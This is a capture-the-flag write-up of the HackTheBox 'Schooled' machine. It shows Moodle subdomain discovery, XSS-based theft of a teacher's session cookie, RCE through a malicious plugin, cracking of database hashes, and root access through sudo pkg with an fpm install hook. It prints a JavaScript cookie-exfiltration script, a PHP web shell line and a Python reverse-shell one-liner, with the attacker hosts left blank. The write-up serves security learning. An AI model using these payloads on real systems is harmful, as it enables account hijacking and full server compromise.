HackTheBox – Schooled

Welcome to another HackTheBox write-up, this time I will explain the procedure to solve a medium machine named ‘Schooled’. The name is pretty appropriate because the initial entry point comes from a vulnerable Moodle web site. Once gained access to the internal server, the first privilege escalation to the user is achieved by the cracking of an insecure password hash. Finally, the privilege escalation to ‘root’ is based in insecure permissions configured in the server that allows the user to execute a GTFObin with SUDO.

Initial enumeration

As usual, we start enumerating the services opened in the server to get those reachable from the internal network, where we connect through the VPN.

Usually in Linux based machines we discover a few well known ports opened. Normally the SSH service will be reachable as well as the HTTP server. Let’s enumerate the web service and find out potential vulnerabilities / miss configurations.

After some minutes enumerating the site, there were nothing interesting. The directory search neither reveals any page that may led us to continue with the challenge.

Subdomain discovery

In this situations, when the web page doesn’t seem to have apparently any vulnerability, the most recommendable is to look for subdomains since in the most of the cases, one server don’t serve a single web page but different web pages and the way the client switch among them is to indicate the different virtual hosts by the URL.

The above command uses Wfuzz with a wordlist to search for virtual hosts, as this hosts are indicated in the “Host” request header value. In the command we indicated some filters, for instance, we didn’t want to get the results with status code 400, we neither wanted to get the results with a specific size, that was 20750 bytes, which is the size of the ‘index.html’ page.

We discovered the ‘moodle’ subdomain and it was verified that there exists this other page being served by the web server.

Hijacking the teacher’s session

A moodle is always interesting because this web application is plenty of vulnerabilities. Since the register was opened to anyone, we can register a new user and search for courses to enroll in. There was a detail in the register which we should not skip, there is a restriction in the domain for the registered email, luckily the web page itself discloses the allowed email.

Once registered, we saw that the course ‘Mathematics’ had the ‘self enrollment’ enabled. This course had an entry created by the teacher with the following message:

In my own experience, this kind of messages usually indicate a potential privilege escalation to the web site administrator account by the exploitation of some type of client-side vulnerability, such as cross-site scripting (XSS). Another hint could be the fact that the main session cookie is not property secured with the flag ‘httpOnly‘ and this is mandatory for the success of this kind of attacks.

In addition, the web application does have a messaging application (in the right side of the main page) that allows the users to send messages to each other, even to teachers.

What we did first is to verify if this application is vulnerable to XSS, a simple check confirmed the vulnerability.


Awesome, we found the vulnerability and it is only left to try the real payload to steel the teacher’s cookie, which will led us to hijack the teacher’s session. Since it was not identified any type of protection against external resources loading, such as for example ‘Content Security Policy‘ (CSP), the strategy here was to place a script locally in the attacker machine and force the victim’s web browser to download and execute it, successfully steeling the cookie value by sending them base64 encoded to the attacker HTTP server.

function httpGet(theUrl){
   var xmlHttp = new XMLHttpRequest();
   xmlHttp.open("GET", theUrl, false); 
   return xmlHttp.responseText;

cookies = document.cookie;
httpGet("" + btoa(cookies));

Then, we need to send a payload like this one to trigger the vulnerability and successfully steel the teacher’s session:

<script src=""></script>

In the HTTP server logs we receive the encoded cookie value. In the following picture we can see how the teacher’s computer IP download the malicious ‘a.js’ script and after that it sends to us the cookie value.

Remote code execution

BINGO ! we can now impersonate the teacher and search for other vulnerabilities with the obtained privileges. The steps explained in this youtube video were reproduced manually and we gained ‘Manager’ privileges and we could impersonate the moodle’s administrator and install new plugins.

Therefore, a malicious plugin was install to gain RCE. In this Github page is the link to another Github with the malicious plugin to download and edit.

The typical web shell with ‘<?php echo(system($_GET[‘cmd’]))?>’ didn’t work and we needed to use another more sophisticated one. A PHP reverse tcp script like this one was utilized and we gained remote code execution in the server.

Privilege escalation to user

Okay, we have breaking out into the server and it is time to escalate privileges to own the server. The first problem we faced was the limited shell session, which is normally an hindrance because it is not capable to read user’s input, not allowing us to perform things like logging with another user using ‘su’ or enumerate commands to execute with ‘sudo -l’. A well known method to upgrade the shell session to a full TTY is to execute the following command:

python(2|3) -c "import pty; pty.spawn('/bin/bash')"

Another problem was that the PATH environment variable was not property set and the system couldn’t find the ‘python’ location, so we needed to find it manually with the following command. We found it in ‘/usr/local/bin/python3’ and we could use it to get a full TTY session.

find / -name “python3”

Okay, with the facilities of a good TTY session, we can start with the privilege escalation phase. At the beginning we are the user ‘www’ and, as the name indicates, this user only has permissions to the web server.

Normally, the web applications needs to interact with other services such as databases. In order to achieve this interaction it is very usual to find out credentials in the internal configuration files of the web application, these files are normally placed in the web server folder (usually ‘/var/www/html/’). After some enumeration we discover the following credentials to access the MySQL database in the path ‘/usr/local/www/apache24/data/moodle/config.php’.

We tried this password for every single user existing in the system and we had no luck. However, the password could be used to access the database named ‘moodle’ and from there, we found some user’s hashed credentials in the table ‘mdl_users’.

The one selected is the most interesting so far because the ‘admin’ username. We successfully obtained the clear text password corresponding to this hash due to a weak password policy in the ‘moodle’ web application (the password corresponds with a keyboard sequence from top to bottom of the first left lines).

This password corresponded with the Jame’s password to access via SSH, so we could use it to access too. In this way, we escalated privileges to the user and we got the user’s flag.

Privilege escalation to ‘root’

I felt this part the most straightforward one because it was achieved by one of the first privilege escalation checks, that is the commands the user can execute with SUDO. That means this execution will have ‘root’ permissions. The point here is that there are some programs with functionalities for which they were not originally created. Their name is ‘GTFObins’ and there are a good collection in this page.

So we can execute both commands without the need to enter credentials, just executing ‘sudo’ followed by one of them. In this page is explained the procedure. The steps have been:

# Write the following lines in a locally allocated file
TF=$(mktemp -d)                                                                                                                                                                          
echo "/usr/local/bin/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\",9999));os.dup2(s.fileno(),0); os.dup2(s.filen
o(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" > $TF/x.sh

# Execution of the following command
fpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF
sudo pkg install -y --no-repo-update [CREATED-FILE]

We set a socket listener up with Netcat and, after following the above steps, we receive a callback from the victim’s server, obtaining a ‘root’ session and the root flag.

Posted on